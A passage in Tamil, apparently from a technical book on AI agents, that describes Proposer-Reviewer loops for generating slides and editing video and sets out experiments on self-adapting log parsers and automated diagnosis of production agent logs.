• மதிப்பாய்வாளர் ஏஜெண்ட் (Reviewer Agent) ஒவ்வொரு பக்கத்தையும் ஒரு படமாக வழங்குவதற்கான குறியீட்டை இயக்குகிறது, உள்ளடக்க அடர்த்தி, வாசிப்புத் திறன், தளவமைப்பின் நியாயத்தன்மை மற்றும் காட்சி அழகியல் போன்ற பரிமாணங்களில் இருந்து வழங்கல் முடிவுகளை பகுப்பாய்வு செய்ய ஒரு விஷன் LLM (படங்களை "பார்க்க" வல்ல ஒரு பல்லுருவ பெரிய மாதிரி) ஐப் பயன்படுத்துகிறது, மேலும் கட்டமைக்கப்பட்ட முன்னேற்ற பரிந்துரைகளை உருவாக்குகிறது — தெளிவற்ற "நன்றாக இல்லை" அல்ல, மாறாக குறிப்பிட்ட, செயல்படக்கூடிய வழிகாட்டுதல் (எ.கா., "பக்கம் 3: அதிக உள்ளடக்கம், பிரிப்பதைக் கவனியுங்கள்"; "பக்கம் 7: குறியீடு தொகுதி எழுத்துரு மிகவும் சிறியது, 14pt ஆக அதிகரிக்க பரிந்துரைக்கிறேன்"), பக்க எண், சிக்கல் வகை மற்றும் தீவிரத்தன்மை போன்ற புலங்களை உள்ளடக்கியது.

முன்மொழிபவர் (Proposer) கருத்தைப் பெற்று, நோக்கத்தைப் புரிந்துகொண்டு, குறியீட்டை மாற்றியமைக்கிறார். புதிய பதிப்பு மீண்டும் மதிப்பாய்வாளரின் மதிப்பாய்வுக்காக சமர்ப்பிக்கப்படுகிறது, தரம் தரநிலையை அடையும் வரை அல்லது அதிகபட்ச மறுமுறைகள் (எ.கா., 5 சுற்றுகள்) எட்டப்படும் வரை மீண்டும் மீண்டும் செய்யப்படுகிறது. "தரம் தரநிலையை அடைதல்" மற்றும் "அதிகபட்ச சுற்றுகள்" ஆகியவை லூப் பொறியியல் (Loop Engineering) கோரும் இரண்டு வகையான வெளிப்படையான நிறுத்த நிபந்தனைகளே: முந்தையதில் இலக்கு அடையப்பட்டதா என்பதை மதிப்பாய்வாளர் தீர்மானிக்கிறார்; பிந்தையது பட்ஜெட் உச்சவரம்பு மூலம் லூப் கட்டுப்பாட்டை இழந்து ஓடுவதைத் தடுக்கிறது.

இந்த அத்தியாயத்தில் உள்ள முன்மொழிபவர்-மதிப்பாய்வாளர் (Proposer-Reviewer) மீள்செயல் சுழற்சி, அத்தியாயம் 4 இல் உள்ள முன்-அனுமதி பயன்பாட்டுடன் ஒரே தோற்றத்தைப் பகிர்ந்து கொள்கிறது — இரண்டும் முன்மொழிபவர்-மதிப்பாய்வாளர் முன்னுதாரணத்தின் நிகழ்வுகள்: உருவாக்கம் மற்றும் மதிப்பாய்வின் பிரிப்பு, இரண்டு மாதிரிகளால் சுயாதீன மதிப்பீடு (லூப் பொறியியலின் மொழியில் சொன்னால், "உருவாக்குநர்" (maker) மற்றும் "சரிபார்ப்பாளர்" (checker) பிரிக்கப்பட்ட துணை ஏஜெண்டுகள்). வேறுபாடு இலக்கு மற்றும் வடிவத்தில் உள்ளது: அத்தியாயம் 4 மீளமுடியாத செயல்பாடுகளின் பாதுகாப்பு மறுஆய்வுக்காக இதைப் பயன்படுத்துகிறது, அங்கு மதிப்பாய்வாளர் ஒரு ஒற்றை செயல்பாட்டிற்கு ஒப்புதல் அல்லது நிராகரிப்பை வழங்குகிறார்; இந்த அத்தியாயம் உள்ளடக்க தரத்தின் மீள்செயல் மேம்பாட்டுக்காக இதைப் பயன்படுத்துகிறது — பல சுற்றுகள், மற்றும் மதிப்பாய்வாளருக்கு முன்மொழிபவர் பார்க்க முடியாத புதிய தகவல்களை (வழங்கல் முடிவுகள்) அணுகல் உள்ளது. மைய வடிவமைப்பு கொள்கைகள் சீரானவை (பகிரப்பட்ட இலக்கு கட்டுப்பாடுகள், ஒத்த பிழைகளின் நிகழ்தகவைக் குறைக்க வெவ்வேறு மாதிரி குடும்பங்களைப் பயன்படுத்துதல், முன்மொழிபவரின் பாதையில் சேர்க்கப்பட்ட ஒரு சிறப்பு நிகழ்வாக கருத்து). இரட்டை ஏஜெண்ட் பிரிவினைப் பயன்படுத்துவதன் மைய நன்மை, ஒற்றை ஏஜெண்ட் சுழற்சியை விட, சூழல் மேலாண்மையில் உள்ளது: மதிப்பாய்வாளர் ஒவ்வொரு முறையும் சமீபத்திய பதிப்பின் வழங்கல் படங்களை மட்டுமே செயலாக்குகிறார், வரலாற்று பதிப்புகளால் பாதிக்கப்படாமல்; முன்மொழிபவர் கட்டமைக்கப்பட்ட உரை கருத்தை மட்டுமே குவிக்கிறார், குறைவான டோக்கன்களைப் பயன்படுத்துகிறார் மற்றும் பகுத்தறிவை எளிதாக்குகிறார். ஒரு ஒற்றை ஏஜெண்ட் தீர்வு, ஒரே சூழலில் டஜன் கணக்கான பக்கங்களுக்கான பல சுற்று வழங்கல் படங்களைக் குவிக்க வேண்டும், விரைவாக சூழல் வரம்பை மீறும். இந்த வழிமுறை, வீடியோ எடிட்டிங் மற்றும் பதிவு காட்சிப்படுத்தல் பற்றிய அடுத்தடுத்த சோதனைகளில் மீண்டும் பயன்படுத்தப்படும்; அத்தியாயம் 10 முன்மொழிபவர்-மதிப்பாய்வாளர் முன்னுதாரணத்திற்கு அப்பால் உள்ள பிற பல ஏஜெண்ட் ஒத்துழைப்பு முறைகளை மேலும் ஆராயும்.

சோதனை 5-4 ★★: ஆய்வுக் கட்டுரைகளிலிருந்து தானியங்கி PPT உருவாக்கம்

சோதனை நோக்கம்: கல்வி ஆய்வுக் கட்டுரைகளிலிருந்து தானாகவே உயர்தர விளக்கக்காட்சிகளை உருவாக்கி, உள்ளடக்க உருவாக்க தரக் கட்டுப்பாட்டில் முன்மொழிபவர்-மதிப்பாய்வாளர் வழிமுறையின் செயல்திறனை சரிபார்க்கவும்.

தொழில்நுட்ப அணுகுமுறை: Slidev கட்டமைப்பைப் பயன்படுத்தவும். முன்மொழிபவர் ஏஜெண்ட் (Proposer Agent) ஆய்வுக் கட்டுரையின் PDF-ஐப் படித்து, அத்தியாய அமைப்பு, மைய வாதங்கள் மற்றும் புள்ளிவிவரங்களைப் பிரித்தெடுத்து, PPT அமைப்பைத் திட்டமிட்டு, பக்கம் பக்கமாக Slidev குறியீட்டை உருவாக்குகிறது. முக்கிய படி: மதிப்பாய்வாளர் ஏஜெண்ட் (Reviewer Agent) ஒவ்வொரு பக்கத்தின் ஸ்கிரீன்ஷாட்டையும் வழங்குகிறது, ஒரு Vision LLM-ஐப் பயன்படுத்தி வழங்கல் விளைவைச் சரிபார்த்து, உரை வழிதல் (text overflow), உள்ளடக்கம் நெரிசல் மற்றும் பொருத்தமற்ற பட அளவுகள் போன்ற சிக்கல்களைக் கண்டறிந்து, கட்டமைக்கப்பட்ட முன்னேற்ற பரிந்துரைகளை உருவாக்குகிறது. விளைவு தரத்தை அடையும் வரை மீண்டும் செயல்படுத்தவும்.

ஏற்பு அளவுகோல்கள்: ஆய்வுக் கட்டுரையின் முக்கிய பங்களிப்புகளை உள்ளடக்கிய 10-20 ஸ்லைடுகளை உருவாக்கவும். உடன் வரும் உரையுடன் பொருந்தக்கூடிய குறைந்தது 3 அசல் புள்ளிவிவரங்களைச் சேர்க்கவும். வழங்கலில் உரை வழிதல் இல்லை, நியாயமான அமைப்பு. ஒற்றை ஏஜெண்ட் சுய-மதிப்பாய்வு (single-agent self-review) மற்றும் முன்மொழியும்-மதிப்பாய்வு செய்யும் தொழில்பிரிவு (Proposer-Reviewer division of labor) ஆகியவற்றுக்கு இடையேயான சூழல் நுகர்வு மற்றும் உருவாக்கத் தரத்தில் உள்ள வேறுபாடுகளை ஒப்பிடுக.

சோதனை 5-5 ★★: ஆய்வுக் கட்டுரை விளக்க வீடியோக்களின் தானியங்கி உருவாக்கம்

சோதனை நோக்கம்: PPT உருவாக்கும் திறன்களை விரிவுபடுத்துதல், காட்சி மற்றும் செவிவழி சேனல்களை இணைத்து, விளக்க வீடியோக்களின் தானியங்கி உருவாக்கத்தை அடைதல்.

தொழில்நுட்ப அணுகுமுறை: சோதனை 5-4-இன் PPT உருவாக்கப் பணிப்பாய்வின் அடிப்படையில், ஏஜெண்ட் ஒரே நேரத்தில் ஒவ்வொரு ஸ்லைடுக்கும் உரையாடல் விளக்க உரையை உருவாக்குகிறது (மீண்டும் கூறுவதை விட வழிகாட்டும் விவரிப்பு), பேச்சை ஒருங்கிணைக்க TTS (text-to-speech) ஐ அழைக்கிறது, மேலும் PPT ஸ்கிரீன்ஷாட்களை ஆடியோவுடன் ஒத்திசைத்து வீடியோவை உருவாக்க ffmpeg ஐப் பயன்படுத்துகிறது.

ஏற்பு அளவுகோல்கள்: வீடியோ 5-15 நிமிடங்கள் நீளமாக இருக்க வேண்டும், ஒவ்வொரு ஸ்லைடின் காட்சி நேரமும் பேச்சின் கால அளவுடன் துல்லியமாக பொருந்த வேண்டும், மேலும் விளக்க உள்ளடக்கம் காட்சி கூறுகளுடன் ஒத்திருக்க வேண்டும்.

வீடியோ எடிட்டிங் ஏஜெண்ட்.

வீடியோ எடிட்டிங்கிற்கு பொதுவான கணினி பயன்பாட்டை (Computer Use) பயன்படுத்துவது அடிப்படை சவால்களை எதிர்கொள்கிறது: வீடியோ எடிட்டிங் மென்பொருளின் GUI மிகவும் சிக்கலானது, ஏராளமான டைம்லைன்கள், லேயர்கள் மற்றும் எஃபெக்ட் பேனல்களைக் கொண்டுள்ளது. ஏஜெண்ட் இந்த இடைமுக கூறுகளை துல்லியமாக கண்டறிந்து, சுட்டி மற்றும் விசைப்பலகை செயல்பாடுகள் மூலம் எடிட் செய்ய வேண்டும், மேலும் துல்லியமான ஆயத்தொலைவுகளை வெளியிடுவது மிகவும் கடினம்.

வீடியோ எடிட்டிங்கை API அழைப்புகள் மற்றும் குறியீடு உருவாக்கமாக மறுவடிவமைப்பது சிக்கலை பெருமளவு குறைக்கிறது. பல தொழில்முறை மென்பொருள் கருவிகள் (எடுத்துக்காட்டாக, பிளெண்டர் — ஒரு திறந்த மூல 3D உருவாக்கம் மற்றும் வீடியோ கலவை கருவி, இது Python ஸ்கிரிப்டிங்கை ஆதரிக்கிறது; FFmpeg — ஆடியோ/வீடியோ செயலாக்கத்திற்கான கட்டளை வரி சுவிஸ் ஆர்மி கத்தி) நிரலாக்க API இடைமுகங்களை வழங்குகின்றன, அவை மைய செயல்பாட்டை ஒரு கட்டமைக்கப்பட்ட, இணைக்கக்கூடிய முறையில் வெளிப்படுத்துகின்றன. உதாரணமாக, பிளெண்டர் Python API ஆனது வீடியோ கிளிப்புகளை இறக்குமதி செய்தல், ஒழுங்கமைத்தல், அமைத்தல், மாற்ற விளைவுகளைச் சேர்த்தல் மற்றும் ஆடியோவை கலத்தல் போன்ற செயல்பாடுகளின் மீது துல்லியமான கட்டுப்பாட்டை அனுமதிக்கிறது, ஒவ்வொரு செயல்பாடும் ஒரு தெளிவான செயல்பாட்டு அழைப்புக்கு ஒத்திருக்கிறது. ஒரு ஏஜெண்டிற்கு, இயற்கை மொழி தேவைகளை API அழைப்புகளாக மாற்றுவது, GUI இடைமுகத்தைப் புரிந்துகொள்வதையும் மவுஸ் கிளிக்குகளை உருவகப்படுத்துவதையும் விட மிகவும் எளிதானது. PPT உருவாக்கத்தைப் போலவே, வீடியோ எடிட்டிங்கும் Proposer-Reviewer பொறிமுறையைப் பின்பற்றுகிறது — Proposer Agent பிளெண்டர் ஸ்கிரிப்ட்களை உருவாக்குகிறது, Reviewer Agent முக்கிய பிரேம்களை ரெண்டர் செய்து விளைவைச் சரிபார்க்க ஒரு Vision LLM ஐப் பயன்படுத்துகிறது, மாற்றத்திற்கான கருத்துக்களை வழங்குகிறது.

சோதனை 5-6 ★★: API அடிப்படையிலான அறிவார்ந்த வீடியோ எடிட்டிங்

சோதனை நோக்கம்: பிளெண்டர் Python API குறியீட்டை உருவாக்குவதன் மூலம் வீடியோ எடிட்டிங் செய்யும் ஏஜெண்டின் திறனைச் சரிபார்த்தல், மற்றும் மல்டிமீடியா உள்ளடக்க செயலாக்கத்தில் பார்வை-பின்னூட்டம் அடிப்படையிலான Proposer-Reviewer பொறிமுறையின் பங்கை மதிப்பீடு செய்தல்.

முக்கிய சவால்: பயனரின் இயற்கை மொழி எடிட்டிங் தேவைகளைப் புரிந்துகொண்டு அவற்றை துல்லியமான API அழைப்புகளின் வரிசைகளாக மாற்றுதல், பல்வேறு எடிட்டிங் செயல்பாடுகளை (ஒழுங்கமைத்தல், இணைத்தல், வசனங்கள், ஆடியோ டிராக் கலவை, காட்சி விளைவுகள்) கையாளுதல், மற்றும் உருவாக்கப்பட்ட Python ஸ்கிரிப்ட் சரியாக இயங்குவதை உறுதி செய்தல். Proposer Agent குறியீட்டை எழுதிய பிறகு, அது நேரடியாக வீடியோ விளைவை மதிப்பிட முடியாது; அது Reviewer Agent ஐ நம்பி ரெண்டர் செய்து முக்கிய பிரேம்களைச் சரிபார்க்க ஒரு Vision LLM ஐப் பயன்படுத்த வேண்டும்.

தொழில்நுட்ப அணுகுமுறை: பயனர் வீடியோ பொருளை (எ.கா., சர்ஃபிங், ஹைகிங், ஸ்கீயிங் போன்ற காட்சிகளைக் கொண்ட மூல காட்சிகள்) வழங்குகிறார் மற்றும் இயற்கை மொழியில் தேவைகளை விவரிக்கிறார் (எ.கா., "சர்ஃபிங் பகுதியை வெட்டு"). Proposer Agent ஒரு இரண்டு-படி உள்ளூர்மயமாக்கல் உத்தியுடன் ஒரு வீடியோ பகுப்பாய்வு துணை-ஏஜெண்டைப் பயன்படுத்துகிறது:

படி 1, தோராய உள்ளூர்மயமாக்கல்: துணை-ஏஜெண்டை அழைத்து, வீடியோ பாதை, ஒவ்வொரு 10 வினாடிகளுக்கும் ஒரு ஸ்கிரீன்ஷாட் இடைவெளி, மற்றும் இலக்கு கேள்வியை அனுப்பவும். துணை-ஏஜெண்ட் ffmpeg ஐப் பயன்படுத்தி முக்கிய பிரேம்களைப் பிடிக்கிறது, அனைத்து ஸ்கிரீன்ஷாட்களையும் கேள்வியுடன் சேர்த்து ஒரு Vision LLM க்கு உள்ளீடு செய்கிறது, மற்றும் காட்சி இடைவெளியைத் தருகிறது (எ.கா., "சர்ஃபிங் 40-110 வினாடிகளுக்கு இடையில் உள்ளது").

படி 2, நுண்ணிய உள்ளூர்மயமாக்கல்: ஒரு குறுகிய வரம்பு மற்றும் ஒவ்வொரு வினாடிக்கும் ஒரு ஸ்கிரீன்ஷாட் அடர்த்தியுடன் துணை-ஏஜெண்டை மீண்டும் அழைத்து, எல்லை நேர புள்ளிகளைத் துல்லியமாகக் கண்டறியவும்.

வீடியோ பகுப்பாய்வை ஒரு துணை-ஏஜெண்டாக மறைப்பது, அதிக எண்ணிக்கையிலான ஸ்கிரீன்ஷாட்கள் முதன்மை ஏஜெண்டின் சூழலை ஆக்கிரமிப்பதைத் தடுக்கிறது. உள்ளூர்மயமாக்கலுக்குப் பிறகு, பிளெண்டர் API ஸ்கிரிப்டை உருவாக்கவும். Reviewer Agent ஒரு விரைவான முன்னோட்டத்தைச் செய்கிறது, முக்கிய பிரேம்களைச் சரிபார்த்து மாற்றத்திற்கான கருத்துக்களை வழங்குகிறது, முழு ரெண்டரிங் செய்வதற்கு முன் தரநிலை பூர்த்தி செய்யப்படும் வரை மீண்டும் செயல்படுகிறது.

ஏற்றுக்கொள்ளும் அளவுகோல்கள்: ஏஜெண்ட் வீடியோவில் உள்ள வெவ்வேறு காட்சிகளை துல்லியமாக அடையாளம் கண்டு, இயற்கை மொழி வழிமுறைகளின் அடிப்படையில் திருத்தல் ஸ்கிரிப்ட்களை சரியாக உருவாக்க முடியும். தொடக்கம் மற்றும் முடிவு புள்ளிகள் துல்லியமாக இருக்கும் (பிழை 3 வினாடிகளுக்குள்). வழிமுறைகளில் சிறப்பு விளைவுகள் தேவைகள் (ஸ்லோ மோஷன், டிரான்சிஷன்கள், சப்டைட்டில்கள்) இருந்தால், உருவாக்கப்பட்ட வீடியோ விளைவுகளை சரியாகப் பயன்படுத்துகிறது. மதிப்பாய்வாளர் ஏஜெண்ட் வெளிப்படையான பிழைகளை (முக்கிய உள்ளடக்கம் இல்லாமை, பொருத்தமற்ற பகுதிகள் சேர்த்தல்) கண்டறிந்து திருத்தங்களைத் தூண்ட முடியும். இறுதி வெளியீட்டு வீடியோ கோப்பு சரியான வடிவமைப்பைக் கொண்டு, எதிர்பார்க்கப்படும் தரத்தை பூர்த்தி செய்கிறது.

குறியீடு ஒரு அமைப்பு இணைப்பியாக

முந்தைய பிரிவுகளில் உள்ள குறியீடு பெரும்பாலும் "மனிதர்களை எதிர்கொள்ளும்" விஷயங்களை உருவாக்குகிறது — அறிக்கைகள், ஸ்லைடுகள், இடைமுகங்கள். இந்தப் பிரிவில் உள்ள குறியீடு மற்றொரு திசையை சுட்டிக்காட்டுகிறது: இயந்திரத்தை இயந்திரத்துடன் இணைத்தல். உண்மையான அமைப்புகளில், ஏஜெண்ட்கள் தொடர்பு கொள்ள வேண்டிய வெளிப்புற சேவைகளில் பெரும்பாலும் முன்பே தயாரிக்கப்பட்ட SDKகள் இல்லை, மேலும் அவற்றின் இடைமுகங்கள் தரப்படுத்தப்படாமல் இருக்கலாம் — ஆவணங்கள் காணாமல் போகலாம், திரும்பும் வடிவங்கள் தரமற்றதாக இருக்கலாம், மற்றும் புலங்கள் பதிப்புகளுக்கு ஏற்ப மாறலாம். இந்த சூழ்நிலையை எதிர்கொள்ளும் போது, ஏஜெண்ட்கள் யாராவது முன்கூட்டியே ஒரு தகவமைப்பு அடுக்கை எழுதும் வரை காத்திருக்க வேண்டியதில்லை; மாறாக, அவை இடத்திலேயே இடைமுக ஆவணங்களைப் படிக்கலாம், அல்லது ஒன்று அல்லது இரண்டு உண்மையான பதில்களை நேரடியாகக் கவனித்து, இடத்திலேயே தகவமைப்பு குறியீட்டை உருவாக்கலாம்: ஒரு HTTP கிளையண்டை உருவாக்குதல், அங்கீகார தலைப்புகளைச் சேர்த்தல், தரமற்ற திரும்பும் கட்டமைப்புகளைப் பாகுபடுத்துதல், மற்றும் மேல்நிலை தரவு மாதிரியை கீழ்நிலை நுகரக்கூடிய வடிவத்தில் மொழிபெயர்த்தல். குறியீடு இங்கு தன்னிச்சையான அமைப்புகளை இணைப்பதற்கான "உலகளாவிய பசை"யாக செயல்படுகிறது — எங்கு இடைவெளி இருந்தாலும், அந்த இடைவெளியை நிரப்ப இடத்திலேயே ஒரு பசை துண்டு உருவாக்கப்படுகிறது. இதுவே "அமைப்பு இடைமுகம்" திசையில் உள்ள மெட்டா-திறனின் மையமாகும். கீழே விரிவாக்கப்படும் பதிவு தகவமைப்பு பாகுபடுத்தல், கண்காணிப்பு காட்சியில் இந்த திறனின் ஒரு உறுதியான வெளிப்பாடாகும்: தொடர்ந்து உருவாகும் பதிவு வடிவங்களை எதிர்கொள்ளும் போது, ஏஜெண்டும் இடத்திலேயே பாகுபடுத்தல் குறியீட்டை உருவாக்கி தகவமைக்கிறது.

இந்த "உலகளாவிய பசை" எந்த APIயும் இல்லாத அமைப்புகளுக்கும் நீட்டிக்கப்படலாம்: ஒரு வெளிப்புற அமைப்பு வரைகலை இடைமுகத்தை மட்டுமே வெளிப்படுத்தும் போது, ஏஜெண்ட் முதலில் கணினி பயன்பாடு (அத்தியாயம் 9 இல் விரிவாக விளக்கப்பட்டுள்ளது) மூலம் இடைமுகத்தை இயக்கலாம், பின்னர் வெற்றிகரமாக முடிக்கப்பட்ட செயல்பாட்டு வரிசையை குறியீட்டைப் பயன்படுத்தி RPA கருவியாக உறுதிப்படுத்தலாம் — எதிர்காலத்தில் அதே பணியை செய்யும் போது, அது நேரடியாக குறியீட்டை இயக்கி, மிக அதிக வேகம் மற்றும் நிலைத்தன்மையுடன் செயல்பாட்டை முடிக்கும், விலையுயர்ந்த காட்சி பகுத்தறிவை அழைக்க வேண்டியதில்லை. RPA என்பது அமைப்பு இணைப்பியின் தீவிர வடிவம் என்று கூறலாம்: இடைமுகமே இல்லாத அமைப்புகளுக்கான ஒரு இணைப்பி. இந்த "பணிப்பாய்வு பதிவு மற்றும் உறுதிப்படுத்தல்" பொறிமுறை அத்தியாயம் 8 இல் விரிவாக்கப்படும்.

தரவு செயலாக்கம் என்பது மென்பொருள் அமைப்புகளில் மிகவும் பொதுவான, ஆனால் மிகவும் சலிப்பூட்டும் பணிகளில் ஒன்றாகும். இதன் மூல காரணம் தரவு வடிவங்களின் பன்முகத்தன்மை மற்றும் நிலையான மாற்றங்களில் உள்ளது. ஒரே அமைப்பு அதன் பரிணாம வளர்ச்சியின் போது பல முறை தரவு வடிவங்களை மாற்றியமைக்கலாம் — புதிய புலங்களைச் சேர்ப்பது, உள்ளமைக்கப்பட்ட கட்டமைப்புகளை மாற்றுவது, புதிய வகைகளை அறிமுகப்படுத்துவது போன்றவை. ஒவ்வொரு வடிவத்திற்கும் கையால் பாகுபடுத்தும் குறியீட்டை எழுதுவது மிக அதிக பராமரிப்புச் செலவுகளை ஏற்படுத்துகிறது; ஒவ்வொரு வடிவ மாற்றத்திற்கும் பாகுபடுத்தும் தர்க்கத்தைப் புதுப்பித்தல், இணக்கத்தன்மையைச் சோதித்தல் மற்றும் புதிய பதிப்பை வெளியிடுதல் ஆகியவை தேவைப்படுகின்றன.

குறியீடு உருவாக்கம் ஒரு முற்றிலும் புதிய அணுகுமுறையை வழங்குகிறது: ஒரு புதிய வடிவத்தைச் சந்திக்கும் போது, மாதிரித் தரவின் அடிப்படையில் பாகுபடுத்தும் குறியீட்டை தற்காலிகமாக உருவாக்க agent-ஐ அனுமதிக்கவும், இதனால் மனித தலையீடு இல்லாமல் தரவு வடிவங்களின் பரிணாம வளர்ச்சிக்கு அமைப்பு தானாகவே மாற்றியமைக்க முடியும்.

Agent பதிவு பாகுபடுத்தல் மற்றும் காட்சிப்படுத்தல்.

Agent அமைப்புகளின் கண்காணிப்புத் திறன் (observability) என்பது செயல்பாட்டு ஓட்டங்களின் காட்சிப்படுத்தலைப் பொறுத்தது. ஒரு சிக்கலான agent பணியானது நூற்றுக்கணக்கான படிகளை உள்ளடக்கியிருக்கலாம், இதில் பல LLM அழைப்புகள், டஜன் கணக்கான கருவி செயலாக்கங்கள் மற்றும் பல துணை-agentகளுக்கு இடையேயான தொடர்புகள் ஆகியவை அடங்கும். இந்தத் தரவைக் காட்சிப்படுத்துவது பல சவால்களை எதிர்கொள்கிறது: வெவ்வேறு கருவிகள் வெவ்வேறு கட்டமைப்புகளில் தரவைத் திருப்பி அனுப்புகின்றன, மேலும் வடிவங்கள் அமைப்பு மறு செய்கைகளுடன் உருவாகின்றன; ஒரு முழுமையான பாதை (trajectory) நூறாயிரக்கணக்கான எழுத்துக்களைக் கொண்டிருக்கலாம், இதற்கு மேலோட்டம் மற்றும் விவரம் ஆகியவற்றுக்கு இடையே ஒரு சமநிலை தேவைப்படுகிறது.

குறியீடு உருவாக்கம் ஒரு நேர்த்தியான தீர்வை வழங்குகிறது: ஒரு தானியங்கி பழுதுபார்க்கும் பின்னூட்ட வளையத்தை (auto-repair feedback loop) நிறுவுதல். முன்பக்கம் (frontend) பாகுபடுத்த முடியாத பதிவு வடிவத்தைச் சந்திக்கும் போது, பிழையைக் காண்பிப்பதற்குப் பதிலாக, அது தானாகவே தோல்வித் தகவலை (மூல பதிவு மாதிரி, விரிவான பிழை) Agent-க்குத் தெரிவிக்கிறது. Agent மாதிரித் தரவு கட்டமைப்பை பகுப்பாய்வு செய்து, அதைச் சரியாகப் பாகுபடுத்தக்கூடிய முன்பக்க குறியீட்டை உருவாக்குகிறது. குறியீடு முதலில் ஒரு மெய்நிகர் உலாவியில் (virtual browser) தானாகவே சோதிக்கப்படுகிறது (பாகுபடுத்தலின் சரியான தன்மையைச் சரிபார்த்தல், காட்சிப்படுத்தல் விளைவுகளைச் சரிபார்க்க Vision LLM ஐப் பயன்படுத்துதல்), மேலும் வெற்றி பெற்றவுடன், முன்பக்க அமைப்பில் சூடான புதுப்பிப்பு (hot-update) செய்யப்படுகிறது.

சோதனை 5-7 ★★★: தகவமைப்பு பதிவு பாகுபடுத்தல் அமைப்பு

சோதனை இலக்கு: சுய-பரிணாமம் கொண்ட Agent பதிவு காட்சிப்படுத்தல் அமைப்பை உருவாக்குதல்.

தொழில்நுட்ப அணுகுமுறை: ஆரம்ப அமைப்பு அடிப்படை வடிவங்களை மட்டுமே ஆதரிக்கிறது. முன்பக்கம் பாகுபடுத்தல் தோல்வியைக் கண்டறிதல் → Agent-க்குத் தெரிவித்தல் → பாகுபடுத்தும் குறியீட்டை உருவாக்குதல் → மெய்நிகர் உலாவி சோதனை → சூடான புதுப்பிப்பு வரிசைப்படுத்தல். முழு செயல்முறையும் தானியங்கி.

ஏற்பு அளவுகோல்கள்: தோல்விகளைத் தானாகக் கண்டறிந்து கற்றலைத் தூண்டுதல், தானியங்கி சோதனைகளில் தேர்ச்சி பெறும் குறியீட்டை உருவாக்குதல், சூடான புதுப்பிப்புக்குப் பிறகு புதிய வடிவங்களைச் சரியாகப் பாகுபடுத்துதல்.

ஏஜெண்ட் செயலாக்கப் பதிவுகளின் தானியங்கி பகுப்பாய்வும் சிக்கல் கண்டறிதலும்.

உற்பத்தி சூழல் ஏஜெண்டுகள் அதிக அளவிலான பாதைப் பதிவுகளை (ஒவ்வொரு பணியின் முழு செயல்முறையையும் பதிவு செய்கின்றன) உருவாக்குகின்றன. இருப்பினும், இந்தப் பதிவுகளிலிருந்து சிக்கல்களை அடையாளம் காண்பது, மூல காரணங்களைக் கண்டறிவது மற்றும் சோதனை வழக்குகளை உருவாக்குவது அதிக செலவு கொண்ட முயற்சியாகும். பல தொகுதிகளில் ஏற்படும் கூட்டுப் பிழைகளால் பணித் தோல்விகள் ஏற்படலாம் என்பதால் சிக்கல் உள்ளூர்மயமாக்கல் கடினம்; உற்பத்தி சூழலின் சிக்கலை சோதனைச் சூழலில் உருவகப்படுத்துவது கடினம் என்பதால் மறுஉருவாக்கச் செலவுகள் அதிகம்; மற்றும் முறையான பின்னடைவு சோதனை இல்லாததால் சரி செய்யப்பட்ட சிக்கல்கள் மீண்டும் ஏற்பட வாய்ப்புள்ளது.

குறியீடு உருவாக்கம் நோயறிதலுக்கான தானியங்கி பாதையை வழங்குகிறது. ஏஜெண்ட் உற்பத்திப் பதிவுகளைப் படித்து, அவற்றை கட்டமைப்பு ஆவணங்கள் மற்றும் PRD (தயாரிப்புத் தேவை ஆவணங்கள்) உடன் இணைத்து, செயலாக்க ஓட்டம் எதிர்பார்ப்புகளைப் பூர்த்தி செய்கிறதா என்பதைத் தானாகவே தீர்மானித்து, சிக்கலான கூறுகள் மற்றும் தொகுதிகளைக் கண்டறியும். பகுப்பாய்வு முடிவுகளின் அடிப்படையில், இது கட்டமைக்கப்பட்ட சிக்கல் அறிக்கைகளை (முன்னுரிமை, தொகுதி, விளக்கம், மேம்பாட்டுப் பரிந்துரைகள்) மற்றும் பின்னடைவு சோதனை வழக்குகளை உருவாக்குகிறது - சோதனை வழக்குகள் சிக்கல் பாதை ID மற்றும் முக்கிய தொடர்புச் சுற்றுகளைக் குறிப்பிடுகின்றன, மேலும் சோதனை கட்டமைப்பு அவற்றைத் தானாகவே மீண்டும் இயக்கி, சரி செய்யப்பட்ட அமைப்பு அதே உள்ளீட்டிற்கு சரியான நடத்தையை உருவாக்குகிறதா என்பதைச் சரிபார்க்கிறது. இறுதியாக, ஏஜெண்ட் MCP வழியாக GitHub உடன் இணைந்து ஒரு Issue ஐ உருவாக்கி, அதை சம்பந்தப்பட்ட டெவலப்பருக்கு ஒதுக்குகிறது, இதன் மூலம் சிக்கல் கண்டுபிடிப்பு முதல் பணி ஒதுக்கீடு வரையிலான முழு தானியக்கத்தையும் நிறைவு செய்கிறது.

சோதனை 5-8 ★★★: உற்பத்திப் பதிவுகளுக்கான அறிவார்ந்த நோயறிதல் அமைப்பு

சோதனை இலக்கு: உற்பத்திப் பாதைகளிலிருந்து சிக்கல்களைத் தானாகவே கண்டறிந்து, சோதனை வழக்குகளை உருவாக்கி, பணி உருப்படிகளை உருவாக்குதல்.

தொழில்நுட்ப அணுகுமுறை: ஏஜெண்ட் உற்பத்திப் பாதைகளின் தொகுப்பைப் படித்து, அவற்றை அமைப்பு கட்டமைப்பு ஆவணங்கள் மற்றும் PRD களுடன் இணைந்து பகுப்பாய்வு செய்கிறது: சிக்கல் வடிவங்களை அடையாளம் கண்டு, சம்பந்தப்பட்ட தொகுதிகளைக் கண்டறிகிறது. கட்டமைக்கப்பட்ட சிக்கல் அறிக்கைகளை (முன்னுரிமை, தொகுதி, விளக்கம், மேம்பாட்டுப் பரிந்துரைகள்) உருவாக்குகிறது. தானாகவே பின்னடைவு சோதனை வழக்குகளை உருவாக்குகிறது (பாதை ID கள் மற்றும் தொடர்புச் சுற்றுகளைக் குறிப்பிட்டு, சோதனை கட்டமைப்பால் தானாகவே மீண்டும் இயக்கப்பட்டு சரிபார்க்கப்படுகிறது). MCP வழியாக GitHub இல் தானாகவே Issues ஐ உருவாக்குகிறது.

குறியீடு உருவாக்க UI ஆக

